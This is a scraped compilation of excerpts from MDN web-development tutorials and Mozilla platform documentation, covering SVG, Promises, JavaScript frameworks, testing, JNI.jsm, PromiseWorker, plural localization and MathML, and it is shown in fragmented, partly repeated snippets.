JavaScript. If you want to control the SVG content with CSS, you must include inline CSS styles in your SVG code. (External stylesheets invoked from the SVG file take no effect.) You cannot restyle the image with CSS pseudoclasses (like :focus). Troubleshooting and cross-browser support For browsers that don't support SVG (IE 8 and below, Android 2.3 and below), you could reference a PNG or JPG from yo...
...CSS background images, as shown below. In the below code, older browsers will stick with the PNG that they understand, while newer browsers will load the SVG: background: url("fallback.png") no-repeat center; background-image: url("image.svg"); background-size: contain; Like the <img> method described above, inserting SVGs using CSS background images means that the SVG can't be manipulated with
JavaScript, and is also subject to the same CSS limitations. If your SVGs aren't showing up at all, it might be because your server isn't set up properly. If that's the problem, this article will point you in the right direction. How to include SVG code inside your HTML You can also open up the SVG file in a text editor, copy the SVG code, and paste it into your HTML document -- this is sometimes called ...
...idth="500" height="500" sandbox> <img src="triangle.png" alt="Triangle with three unequal sides" /> </iframe> This is definitely not the best method to choose: Cons iframes do have a fallback mechanism, as you can see, but browsers only display the fallback if they lack support for iframes altogether. Moreover, unless the SVG and your current webpage have the same origin, you cannot use
JavaScript on your main webpage to manipulate the SVG. Active Learning: Playing with SVG In this active learning section we'd like you to simply have a go at playing with some SVG for fun. In the Input section below you'll see that we've already provided you with some samples to get you started. You can also go to the SVG Element Reference, find out more details about other toys you can use in SVG, and t...
Graceful asynchronous programming with Promises - Learn web development
Objective: To understand promises and how to use them. ...
...ript language that allow you to defer further actions until after a previous action has completed, or respond to its failure. This is useful for setting up a sequence of async operations to work correctly. This article shows you how promises work, how you'll see them in use with web APIs, and how to write your own. Prerequisites: Basic computer literacy, a reasonable understanding of
JavaScript fundamentals. Objective: To understand promises and how to use them. What are promises? We looked at Promises briefly in the first article of the course, but here we'll look at them in a lot more depth. Essentially, a Promise is an object that represents an intermediate state of an operation -- in effect, a promise that a result of some kind will be returned at some point in ...
...omises do not fail on 404 or 500 errors -- only on something catasrophic like a network failure. Instead, they succeed, but with the response.ok property set to false. To produce an error on a 404, for example, we need to check the value of response.ok, and if false, throw an error, only returning the blob if it is true. This can be done like so -- add the following lines below your first line of
JavaScript. let promise2 = promise.then(response => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } else { return response.blob(); } }); Each call to .then() creates a new promise. This is very useful; because the blob() method also returns a promise, we can handle the Blob object it returns on fulfillment by invoking the .then() method of the second...
... ...
Build your own function - Learn web development
Previous Overview: Building blocks Next With most of the essential theory dealt with in the previous article, this article provides practical experience. Here you will get some practice building your own, custom function. Along the way, we'll also explain some useful details of dealing with functions. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps, Functions -- reusable blocks of code. Objective: To provide some practice in building a custom function, and explain a few more useful associated details. Active learning: Let's build a function The custom function we are going to build will be called displayMessage(). It will display a custom message box on a web page and will act as a customized replacement for ...
...plain a few more useful associated details. Active learning: Let's build a function The custom function we are going to build will be called displayMessage(). It will display a custom message box on a web page and will act as a customized replacement for a browser's built-in alert() function. We've seen this before, but let's just refresh our memories. Type the following in your browser's
JavaScript console, on any page you like: alert('This is a message'); The alert function takes a single argument -- the string that is displayed in the alert box. Try varying the string to change the message. The alert function is limited: you can alter the message, but you can't easily vary anything else, such as the color, icon, or anything else. We'll build one that will prove to be more fun. Note: ...
...naming conventions. This is fine, as you can tell them apart -- function names appear with parentheses after them, and variables don't. Start by accessing the function-start.html file and making a local copy. You'll see that the HTML is simple -- the body contains just a single button. We've also provided some basic CSS to style the custom message box, and an empty <script> element to put our
JavaScript in. Next, add the following inside the <script> element: function displayMessage() { } We start off with the keyword function, which means we are defining a function. This is followed by the name we want to give to our function, a set of parentheses, and a set of curly braces. Any parameters we want to give to our function go inside the parentheses, and the code that runs when we call the f...
...hing as it stands. Try including the following line below your function to call it: displayMessage(); This line invokes the function, making it run immediately. When you save your code and reload it in the browser, you'll see the little message box appear immediately, only once. We are only calling it once, after all. Now open your browser developer tools on the example page, go to the
JavaScript console and type the line again there, you'll see it appear again! So this is fun -- we now have a reusable function that we can call any time we like. But we probably want it to appear in response to user and system actions. In a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete thei...
Web performance - Learn web development
Building websites requires HTML, CSS, and
JavaScript. To build websites and applications people want to use, which attract and retain users, you need to create a good user experience. Part of good user experience is ensuring the content is quick to load and responsive to user interaction. This is known as web performance, and in this module you'll focus on the fundamentals of how to create performant websites. The rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. ...
...eb performance, and in this module you'll focus on the fundamentals of how to create performant websites. The rest of our beginner's learning material tried to stick to web best practices such as performance and accessibility as much as possible, however, it is good to focus specifically on such topics too, and make sure you are familiar with them. Learning pathway While knowing HTML, CSS, and
JavaScript is needed for implementing many web performance improvement recommendations, knowing how to build applications is not a necessary pre-condition for understanding and measuring web performance. We do however recommend that before you work through this module, you at least get a basic idea of web development by working through our Getting started with the web module. It would also be helpful to go...
...d applications is not a necessary pre-condition for understanding and measuring web performance. We do however recommend that before you work through this module, you at least get a basic idea of web development by working through our Getting started with the web module. It would also be helpful to go a bit deeper into these topics, with modules such as: Introduction to HTML CSS first steps
JavaScript first steps Once you've worked through this module, you'll probably be excited to go deeper into web performance -- you can find a lot of further teachings in our main MDN Web performance section, including overviews of performance APIs, testing and analysis tools, and performance bottleneck gotchas. Guides This topic contains the following guides. The following is a suggested order for worki...
... is possible. In this article we discuss the impact images have on performance, and the methods to reduce the number of bytes sent per image. Multimedia: video The lowest hanging fruit of web performance is often media optimization. In this article we discuss the impact video content has on performance, and cover tips like removing audio tracks from background videos can improve performance.
JavaScript performance best practices
JavaScript, when used properly, can allow for interactive and immersive web experiences -- or it can significantly harm download time, render time, in-app performance, battery life, and user experience. This article outlines some
JavaScript best practices that should be considered to ensure even complex content is as performant as possible. HTML performance features ...
Ember app structure and componentization - Learn web development
Objective: To learn how to structure an Ember app, and then break that structure into components. ...
... Objective: To learn how to structure an Ember app, and then break that structure into components. ...
... In this article we'll get right on with planning out the structure of our TodoMVC Ember app, adding in the HTML for it, and then breaking that HTML structure into components. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To learn how to structure an Ember app, and then break that structure into components. Planning out the layout of the TodoMVC app In the last article we set up a new Ember project, then added and configured our CSS styles. At this point we add some HTML, pla...
...- this is because the same component is being invoked twice, and the todo text is hardcoded into it. We'll look at showing different todo items in the next article! Summary Great! Everything looks as it should. We have successfully refactored our HTML into components! In the next article we'll start looking into adding interactivity to our Ember application. ...
React interactivity: Editing, filtering, conditional rendering - Learn web development
Objective: To learn about conditional rendering in React, and implementing list filtering and an editing UI in our app. Editing the name of a task We don't have a user interface for editing the name of a task yet. ...
...near the end of our React journey (for now at least), we'll add the finishing touches to the main areas of functionality in our Todo list app. This includes allowing you to edit existing tasks, and filtering the list of tasks between all, completed, and incomplete tasks. We'll look at conditional UI rendering along the way. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To learn about conditional rendering in React, and implementing list filtering and an editing UI in our app. Editing the name of a task We don't have a user interface for editing the name of a task yet. We'll get to that in a moment. To start with, we can at least implement an editTask() function in App.js. It'l...
... completed, and incomplete. Adding a filter hook Add a new hook to your App() function that reads and sets a filter. We want the default filter to be All because all of our tasks should be shown initially: const [filter, setFilter] = useState('All'); Defining our filters Our goal right now is two-fold: Each filter should have a unique name. Each filter should have a unique behavior. A
JavaScript object would be a great way to relate names to behaviors: each key is the name of a filter; each property is the behavior associated with that name. At the top of App.js, beneath our imports but above our App() function, let's add an object called FILTER_MAP: const FILTER_MAP = { All: () => true, Active: task => !task.completed, Completed: task => task.completed }; The values of FILTER_M...
...lly complete. However, now that we've implemented all of our features, we can make a few improvements to ensure that a wider range of users can use our app. Our next article rounds things off for our React tutorials by looking at including focus management in React, which can improve usability and reduce confusion for both keyboard-only and screenreader users. ...
React resources - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Our final article provides you with a list of React resources that you can use to go further in your learning. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To provide further resources for learning more about React. Component-level styles Although this tutorial doesn't use this approach, many React applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet. create-react-app makes it possible to import CSS files into
JavaScript modules, so that CSS is only sent to your user when the corresponding component is rendered. For this app, we could have for example writ...
... likely have app-wide styles and specific component styles that built on top of those. You can read more about component stylesheets in the create-react-app docs. React DevTools We used console.log() to check on the state and props of our application in this tutorial, and you'll also have seen some of the useful warnings and error message that react gives you both in the CLI and your browser's
JavaScript console. But there's more we can do here. The React DevTools utility allows you to inspect the internals of your React application directly in the browser. It adds a new panel to your browser's developer tools, and with it you can inspect the state and props of various components, and even edit state and props to make immediate changes to your application. This screenshot shows our finished ap...
... arrival of hooks, ES6 classes were the only way to bring state into components or manage rendering side effects. They're still the only way to handle certain other, more edge-case features, and they're very common in legacy React projects. The official React docs are a great place to start learning about them. State and Lifecycle in the React Docs Intro To React in the React Docs Read about
JavaScript classes at MDN Testing create-react-app provides some tools for testing your application out of the box -- you may have deleted the relevant files earlier in the tutorial. The documentation for create-react-app covers some basics for testing. Routing While routing is traditionally handled by a server and not an application on the user's computer, it is possible to configure a web application...
...screen-reader users may have no idea that they have moved to a new page. Because Reach Router is better for accessibility, it's a good place to start. There's one caveat, however: these projects will be merging in the near future. When this merge happens, React Router will be the surviving project (with the addition of the focus management features of Reach). ...
Beginning our React todo list - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Let's say that we've been tasked with creating a proof-of-concept in React - an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. This article will walk you through putting the basic App component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. Note: If you need to check your code against our version, you can find a finished version of the sample React app code in our todo-react repository. For a running live version, see https://mdn.github.io/todo-react-build/. ...
...tyling in place, ready for individual component definition and interactivity, which we'll add later. Note: If you need to check your code against our version, you can find a finished version of the sample React app code in our todo-react repository. For a running live version, see https://mdn.github.io/todo-react-build/. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To introduce our todo list case study, and get the basic App structure and styling in place. Our app's user stories In software development, a user story is an actionable goal from the perspective of the user. Defining user stories before we begin our work will help us focus our work. Our app should fulfill the ...
... attribute corresponds to the for attribute used in HTML. We cannot use for as an attribute in JSX because for is a reserved word, so React uses htmlFor instead. Notes: To use boolean values (true and false) in JSX attributes, you must enclose them in curly braces. If you write defaultChecked="true", the value of defaultChecked will be "true" -- a string literal. Remember -- this is actually
JavaScript, not HTML! The aria-pressed attribute used in our earlier code snippet has a value of true because aria-pressed is not a true boolean attribute in the way checked is. Implementing our styles Paste the following CSS code into src/index.css so that it replaces what's currently there: /* RESETS */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; ou...
...ty: 0; background: transparent; } .c-cb > input[type="checkbox"]:checked + label::after { opacity: 1; } Save and look back at your browser, and your app should now have reasonable styling. Summary Now our todo list app actually looks a bit more like a real app! The problem is: it doesn't actually do anything. ...
Componentizing our Svelte app - Learn web development
You'll need a terminal with node + npm installed to compile and build your app. Objective: To learn how to break our app into components and share information among them. ...
...rticle we started developing our Todo list app. The central objective of this article is to look at how to break our app into manageable components and share information between them. We'll componentize our app, then add more functionality to allow users to update existing components. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. You'll need a terminal with node + npm installed to compile and build your app. Objective: To learn how to break our app into components and share information among them. Code along with us Git Clone the github repo (if you haven't already done it) with: git clone https://github.com/opensas/mdn-svelte-tutor...
... Remember to run npm install && npm run dev to start your app in development mode. REPL To code along with us using the REPL, start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 Breaking the app into components In Svelte, an application is composed from one or more components. A component is a reusable, self-contained block of code that encapsulates HTML, CSS and
JavaScript that belong together, written into a .svelte file. Components can be big or small, but they are usually clearly defined: the most effective components serve a single, obvious purpose. The benefits of defining components are comparable to the more general best practice of organizing your code into manageable pieces. It will help you understand how they relate to each other, it will promote reuse,...
... Passing information from child to parent using the bind directive. Conditionally rendering blocks of markup using the if block. Implementing the "props-up, events-down" communication pattern. Creating and listening to custom events. In the next article we will continue componentizing our app and look at some advanced techniques for working with the DOM. ...
Rendering a list of Vue components - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next At this point we've got a fully working component; we're now ready to add multiple ToDoItem components to our App. In this artcle we'll look at adding a set of todo item data to our App.vue component, which we'll then loop through and display inside ToDoItem components using the v-for directive. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll ne...
... { label: 'Create a Vue project with the CLI', done: true }, { label: 'Have fun', done: true }, { label: 'Create a to-do list', done: false } ] }; } }; Now that we have a list of items, we can use the v-for directive to display them. Directives are applied to elements like other attributes. In case of v-for, you use a special syntax similar to a for...in loop in
JavaScript -- v-for="item in items" -- where items is the array you want to iterate over, and item is a reference to the current element in the array. v-for attaches to the element you want to repeat, and renders that element and its children. In this case, we want to display an <li> element for every to-do item inside our ToDoItems array. Then we want to pass the data from each to-do item to a ToDoItem c...
...This means we can pass the fields of our item objects to our ToDoItem component -- just remember to use the v-bind syntax. This is really useful, as we want our todo items to display their label properties as their label, not a static label of "My Todo Item". In addition, we want the...
...nside a ToDoItem in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. We'll get to these in the next article. ...
Vue resources - Learn web development
For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. ...
...For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. ...
...For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. ...
... API. Vue handles this for you using the Options API. This makes the new API typically considered a more advanced use case. There are also a handful of other changes, including a change in how Apps are initialized in Vue. To read more about the changes involved with Vue 3, refer to this article by Vue School which goes over most of the major changes in Vue 3. ...
Styling Vue components with CSS - Learn web development
For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To learn about styling Vue components. ...
...For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To learn about styling Vue components. ...
...For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To learn about styling Vue components. ...
...ass. The updated template is below: The app should now have custom checkboxes. Your app should look something like the screenshot below. Summary Our work is done on the styling of our sample app. In the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. ...
Strategies for carrying out testing - Learn web development
Objective: To gain an understanding of the high-level concepts involved in cross-browser testing. Gotta test 'em all? When doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. There is no way you can test on every combination of browser and device y...
...y accurate, but they can give you an idea of broad trends. For example, let's go to Netmarketshare. You can see that Opera is listed as having small but visible usage figures, so we should add it to our support chart too as grade C. IE8 is listed as being significant too, but it is older and no longer capable. Opera Mini is also significant, but it isn't very capable in terms of running complex
JavaScript at runtime, etc (see Opera Mini and
JavaScript for more details). We should put this into grade B as well. Using analytics A much more accurate source of data, if you can get it, comes from an analytics app like Google Analytics. This is an application that will give you accurate stats on exactly what browsers people are using to browse your site. Of course, this relies on you already having a ...
...ccording to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course). You might also notice that the button isn't usable using only the keyboard -- this also needs to be remedied. Maybe we could use some
JavaScript to implement a keyboard control for the toggle, or use some other method entirely? These test criteria are useful, because: They give you a set of steps to follow when you are performing tests. They can be easily turned into sets of instructions for user groups to follow when carrying out tests (e.g. "try to active the button using your mouse, and then the keyboard...") -- see User testing, ...
... browser list, and then effectively carry out cross-browser testing on that list. Next we'll turn our attention to the actual code issues your testing might uncover, starting with HTML and CSS. ...
Tools and testing - Learn web development
As your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
...As your web projects become larger and more complex, you'll want to start taking advantage of some of these tools, working out a reliable toolchain to give your development process superpowers. ...
... and have good industry support. In most cases there are other tools available, old ones will go out of fashion, and new ones will no doubt appear. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and
JavaScript languages first before attempting to use many the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, making effective use of
JavaScript frameworks, or writing tests and running them against your code using test runners. In addition, you should start with the first module in this topic, which gives a u...
...ols Client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line. We finish up by providing a complete toolchain example showing you how to get productive. Understanding client-side
JavaScript frameworks
JavaScript frameworks are an essential part of modern front-end web development, providing developers with tried and tested tools for building scalable, interactive web applications. Many modern companies use frameworks as a standard part of their tooling, so many front-end development jobs now require framework experience. This module gives you some fundamental background knowledge a...
Learn web development
le, which provides a practical introduction to web development. Beyond the basics: If you have a bit of knowledge already, the next step is to learn HTML and CSS in detail: start with our Introduction to HTML module and move on to our CSS first steps module. Moving onto scripting: If you are comfortable with HTML and CSS already, or you are mainly interested in coding, you'll want to move on to
JavaScript or server-side development. Begin with our
JavaScript first steps and Server-side first steps modules. Frameworks and tooling: After mastering the essentials of vanilla HTML, CSS, and
JavaScript, you should learn about client-side web development tools, and then consider digging into client-side
JavaScript frameworks, and server-side website programming. Note: Our glossary provides terminolog...
... frameworks, and server-side website programming. Note: Our glossary provides terminology definitions. Besides, if you have a specific question about web development, our Common questions section may have something to help you. Random glossary entry Semantics In programming, Semantics refers to the meaning of a piece of code -- for example "what effect does running that line of
JavaScript have?", or "what purpose or role does that HTML element have" (rather than "what does it look like?".) Topics covered The following is a list of all the topics we cover in the MDN learning area. Getting started with the web Provides a practical introduction to web development for complete beginners. HTML -- Structuring the web HTML is the language that we use to structure the differen...
...lete beginners. HTML -- Structuring the web HTML is the language that we use to structure the different parts of our content and define what their meaning or purpose is. This topic teaches HTML in detail. CSS -- Styling the web CSS is the language that we can use to style and layout our web content, as well as adding behavior like animation. This topic provides comprehensive coverage of CSS.
JavaScript -- Dynamic client-side scripting
JavaScript is the scripting language used to add dynamic functionality to web pages. This topic teaches all the essentials needed to become comfortable with writing and understanding
JavaScript. Web forms -- Working with user data Web forms are a potent tool for interacting with users -- most commonly, they are used for collecting data from users, or allowing t...
...e art of making sure web applications download fast and are responsive to user interaction, regardless of a user's bandwidth, screen size, network, or device capabilities. Tools and testing This topic covers the tools developers use to facilitate their work, such as cross-browser testing tools, linters, formatters, transformation tools, version control systems, deployment tools, and client-side
JavaScript frameworks. Server-side website programming Even if you are concentrating on client-side web development, it is still useful to know how servers and server-side code features work. This topic provides a general introduction to how the server-side works and detailed tutorials showing how to build up a server-side app using two popular frameworks: Django (Python) and Express (Node.js). Getting ...
Interface Compatibility
t modified, except as a last resort when inherent security vulnerabilities or incompatibility with other browsers make it the only option. Any changes, including new features, must have super-review. One exception to this rule is APIs which are explicitly shipped with Mozilla prefixes as a technology preview. This includes CSS properties that begin with the -moz- prefix (e.g. -moz-box-shadow), or
JavaScript APIs that begin with the moz prefix (e.g. canvasrenderingcontext.mozDrawText). These APIs may be removed or replaced with standard interfaces in future releases of Mozilla. Jetpack The Jetpack SDK and APIs are not yet complete. The stable version 1.0 of the Jetpack SDK is planned for later in 2010. Documented APIs which are shipped as part of the Jetpack SDK are designed to work in future versi...
...h standard interfaces in future releases of Mozilla. Jetpack The Jetpack SDK and APIs are not yet complete. The stable version 1.0 of the Jetpack SDK is planned for later in 2010. Documented APIs which are shipped as part of the Jetpack SDK are designed to work in future versions of Firefox. Achieving this compatibility may require rebuilding the extension with a new version of the Jetpack SDK.
JavaScript/XUL Interfaces Traditional extensions written using XUL overlays and XPCOM have access to the full power of the Mozilla platform. With the power, however, comes the understanding that the Mozilla platform is constantly changing and many APIs may change in future versions of Firefox. In micro/maintenance releases, there should be no incompatible changes to interfaces, except as a last resort whe...
...s to the full power of the Mozilla platform. With the power, however, comes the understanding that the Mozilla platform is constantly changing and many APIs may change in future versions of Firefox. In micro/maintenance releases, there should be no incompatible changes to interfaces, except as a last resort when a security fix leaves no other option. This includes not only XPCOM interfaces, but
JavaScript functions, XBL bindings, and any other visible behavior. Between major releases, there is no guarantee of interface stability. Changes should not be taken lightly, however: especially if a change is likely to affect many extensions, the change should try to maintain backwards compatibility by using optional/default parameters or other
JavaScript techniques. Where appropriate, new APIs should be...
...lity. Changes should not be taken lightly, however: especially if a change is likely to affect many extensions, the change should try to maintain backwards compatibility by using optional/default parameters or other
JavaScript techniques. Where appropriate, new APIs should be designed so that they are compatible with future plans, and clients do not need XPCOM boilerplate. This may involve using
JavaScript modules, passing named parameters using objects, or other similar techniques. Binary Interfaces Traditionally, Mozilla has maintained a set of XPCOM interfaces and functions with the @status FROZEN marking. Using these interfaces, and using dynamic calls to QueryInterface, it has been possible to write binary XPCOM components which were compatible with multiple versions of Firefox. Beginning wit...
Embedding Tips
her service. The nsIWindowCreator::CreateChromeWindow method will be called whenever Gecko needs to open a new window. This method should create the new browser window in the specified style and hand back the nsIWebBrowserChrome interface to it. ...
...n the specified style and hand back the nsIWebBrowserChrome interface to it. nsCOMPtr<nsIWindowWatcher> wwatch(do_GetService(NS_WINDOWWATCHER_CONTRACTID)); if (wwatch) { wwatch->SetWindowCreator(myWindowCreator); } I need the
JavaScript inside the browser window to talk to my embedding client. ...
...r); } I need the
JavaScript inside the browser window to talk to my embedding client. How do I do it? At startup use the category manager to register properties of the global object in
JavaScript like this: nsCOMPtr<nsICategoryManager> catman = do_GetService(NS_CATEGORYMANAGER_CONTRACTID); if (!catman) return NS_ERROR_FAILURE; nsXPIDLCString previous; catman->AddCategoryEntry(
JAVASCRIPT_GLOBAL_PROPERTY_CATEGORY, "my_prop_name", "my_prop_contract_id", PR_TRUE, PR_TRUE, getter_Copies(previous)); This will cause a component with the contract id my_prop_contract_id to be lazily created when the my_prop_name is resolved in any
JavaScript window scope. If you want to create your component multiple times within the browser window, yo...
...ERTY_CATEGORY, "my_prop_name", "my_prop_contract_id", PR_TRUE, PR_TRUE, getter_Copies(previous)); This will cause a component with the contract id my_prop_contract_id to be lazily created when the my_prop_name is resolved in any
JavaScript window scope. If you want to create your component multiple times within the browser window, you can use a
JavaScript constructor instead of a
JavaScript property: catman->AddCategoryEntry("
JavaScript global constructor", "my_prop_name", "my_prop_contract_id", PR_TRUE, PR_TRUE, getter_Copies(previous)); That way you will be able to do: var my_comp = new my_prop_name(); This was taken from WeirdAl's excellent "Burning Chrome" article. How do I specify altern...
JNI.jsm
If you would like to support versions before that, you can copy and paste the contents of the JSM file int JNI stands for Java Native Interface; this library allows calling Java code running in Java Virtual Machines (JVMs), etc. The most common use for this module is in add-ons and other works on Firefox for Android (Fennec). With this module, all of the Android SDK functions that Firefox has permissions for are at your fingertips. ...
...then aFullyQualifiedName must be an array type. If this is provided, then aFullyQualifiedName must be a class name. A required object that contains up to five fields of key names: constructors, fields, static_fields, methods, and static_methods. Return value blah blah NewString() blah blah CData NewString( aJenv, aStr ); Parameters aJenv The return value of GetForThread(). aStr A
Javascript String, use any encoding desired. Return value blah blah ReadString() blah blah String ReadString( aJenv, aJavaString ); Parameters aJenv The return value of GetForThread(). aJavaString A CData object that is a Java string. Return Value A
Javascript String. UnloadClasses() blah blah void UnloadClasses(); Parameters This function takes no arguments. Return value This fun...
...lues. This function starts on the position of aStart in the array and sets it to the values in aValsArray. This is done by calling .set for each element with the respective value in the aValsArray. void setElements(Number aStart, [array, size_is(arr.length > Number anyNumber > 0)] in CData aValsArray); Parameters aStart The position to start setting elements of the array in. aValsArray A
Javascript array holding the values to set. Return value This function has no return value, if you try to store the return value in a variable, it will be undefined. Attributes Attribute Type Description length Number The number of elements in the array Demonstration var my_jenv = null; try { my_jenv = JNI.GetForThread(); var SIG = { String: 'Ljava...
...ouning L and ; // aRet is a SIG for the return value. Not fully qualified name, same meaning as above row return '(' + (aParamsArr ? aParamsArr.join('') : '') + ')' + aRet; } function fullyQualifiedNameOfClass(aClass) { // aClass is a string with L and ; arround it return aClass.substr(1, aClass - 2); } Examples Read Java strings This example shows how to read Java strings as
Javascript strings. We will get paths to special folders on Fennec (Firefox for Android) into a
Javascript variable with ReadString(). This shows how to get the paths to the "Pictures" folder: Components.utils.import("resource://gre/modules/JNI.jsm"); Components.utils.import("resource://gre/modules/osfile.jsm"); // because we use OS.Path.join in this example var my_jenv = null; try { my_jenv = JNI.Get...
PromiseWorker.jsm
Like ChromeWorker objects, PromiseWorker is mostly used for js-ctypes but it is not limited to that. There is no XPCOM access, similar to ChromeWorker. This answers the question "When should I use a PromiseWorker?", and the answer is, whenever you would normally use a ChromeWorker, but want postMessage to return promises. ...
... ChromeWorker. This answers the question "When should I use a PromiseWorker?", and the answer is, whenever you would normally use a ChromeWorker, but want postMessage to return promises. The PromiseWorker object is used to deliver all of the OS.File functionality to the main thread. Here is the test case from Firefox codebase: Mozilla DXR :: test_Promise.js. ...
...e a ChromeWorker, but want postMessage to return promises. The PromiseWorker object is used to deliver all of the OS.File functionality to the main thread. Here is the test case from Firefox codebase: Mozilla DXR :: test_Promise.js. PromiseWorker module consists of two
JavaScript files, PromiseWorker.jsm and PromiseWorker.js. PromiseWorker.jsm Path: resource://gre/modules/PromiseWorker.jsm A
JavaScript code module used by the main thread to create a worker thread and communicate with it. PromiseWorker.jsm provides BasePromiseWorker. PromiseWorker.js Path: resource://gre/modules/workers/PromiseWorker.js A
JavaScript file used by the worker thread, which is created by PromiseWorker.jsm in main thread, to communicate with the main thread. PromiseWorker.js provides AbstractWorker. Here's the si...
... otherNonTrans: 'this string is not transfered but copied' }, {transfers: [aBuf]}); A simple demo showing this in live action can be found here: Github :: PromiseWorker Transfer ArrayBuffer - Worker Side Rejecting the Promise To reject the promise from the worker, simply throw. Various error objects are supported; each one has its specific meaning; they're described below. Supported built-in
JavaScript Error are following: EvalError InternalError RangeError ReferenceError SyntaxError TypeError URIError In addition to them, StopIteration is also supported (note that StopIteration is deprecated). You can also construct and throw your own custom error objects as needed. When custom error is caught by AbstractWorker, toMsg method will be called to convert it into message. The toMsg fun...
Localization and Plurals
This module provides a couple methods for localizing to the browser's current locale as well as getting methods to localize to a desired plural rule. The latter ability of specifying a plural rule is useful for extensions because the extension doesn't necessarily have to be localized to the browser's locale. Loading PluralForm.jsm Loading the PluralForm module from JavaS...
...cript Module, PluralForm.jsm. This module provides a couple methods for localizing to the browser's current locale as well as getting methods to localize to a desired plural rule. The latter ability of specifying a plural rule is useful for extensions because the extension doesn't necessarily have to be localized to the browser's locale. Loading PluralForm.jsm Loading the PluralForm module from
JavaScript is simple with Components.utils.import. Just put the following line somewhere that will be evaluated before you want to use PluralForm. At the top of your
JavaScript file is fine. Components.utils.import("resource://gre/modules/PluralForm.jsm"); Methods: get These methods make use of the browser's current locale specified by chrome://global/locale/intl.properties's pluralRule value. /** * Ge...
...e("#1", num); Notice in the above example that the code can be written to support placeholders or not use placeholders in some forms of the string. Additionally, the localizer has control over where the placeholder is, in relation to the rest of the text. Of course, the strings to be localized will be placed in a separate file, such as yourextension.properties, instead of being hardcoded in the
JavaScript code file. The following 3 file snippets show how to use PluralForm with your .xul, .properties, .js files. downloads.xul: <stringbundleset> <stringbundle id="strings" src="chrome://downloads.properties"/> </stringbundleset> downloads.properties: # LOCALIZATION NOTE (downloadsTitleFiles): Semi-colon list of plural forms. # See: https://developer.mozilla.org/docs/Mozilla/Localization/Locali...
...ural form #4, so "form 4" is printed print(get(dummyNum, dummyText)); In this example, the Irish plural rule was hardcoded, but this could be a value specified in the .properties file. So for your extension, specify a pluralRule value in the .properties, and call PluralForm.makeGetter(pluralRuleFromProperties), making sure to save the 2 returned functions. (You can use destructured assignment in
JavaScript 1.7 to keep things clean.) The returned functions act just like PluralForm.get() and PluralForm.numForms(), except for the specified plural rule instead of the default plural rule. Credits Plural Form code first implemented for bug 394516 - Figure out a remaining-time rounding scheme for minutes -> hours/days Plural rules and families derived from GNU gettext documentation. ...
Basics
tylistic effects a 2 + b 2 = c 2 , or use color a 2 + b 2 = c 2 in very strange ways p(x) q(x) = a0 + a1x + a2 x2 + ... + an-1 xn-1 b0 + b1x + b2 x2 + ... + bn-1 xn-1 . You can also do other weird and risky things which are not portable, bongo warns, such as mixing MathML with other markups lizard + bongo = ? a b d x + MathML and
Javascript HTML Content <p> And you can turn to
JavaScript and the DOM for dynamic operations. </p> <div style="text-align:center"> Fill the gaps in this matrix with resizable input fields. </div> <math class="inputmath" display="block"> <mrow> <mi>A</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <m...
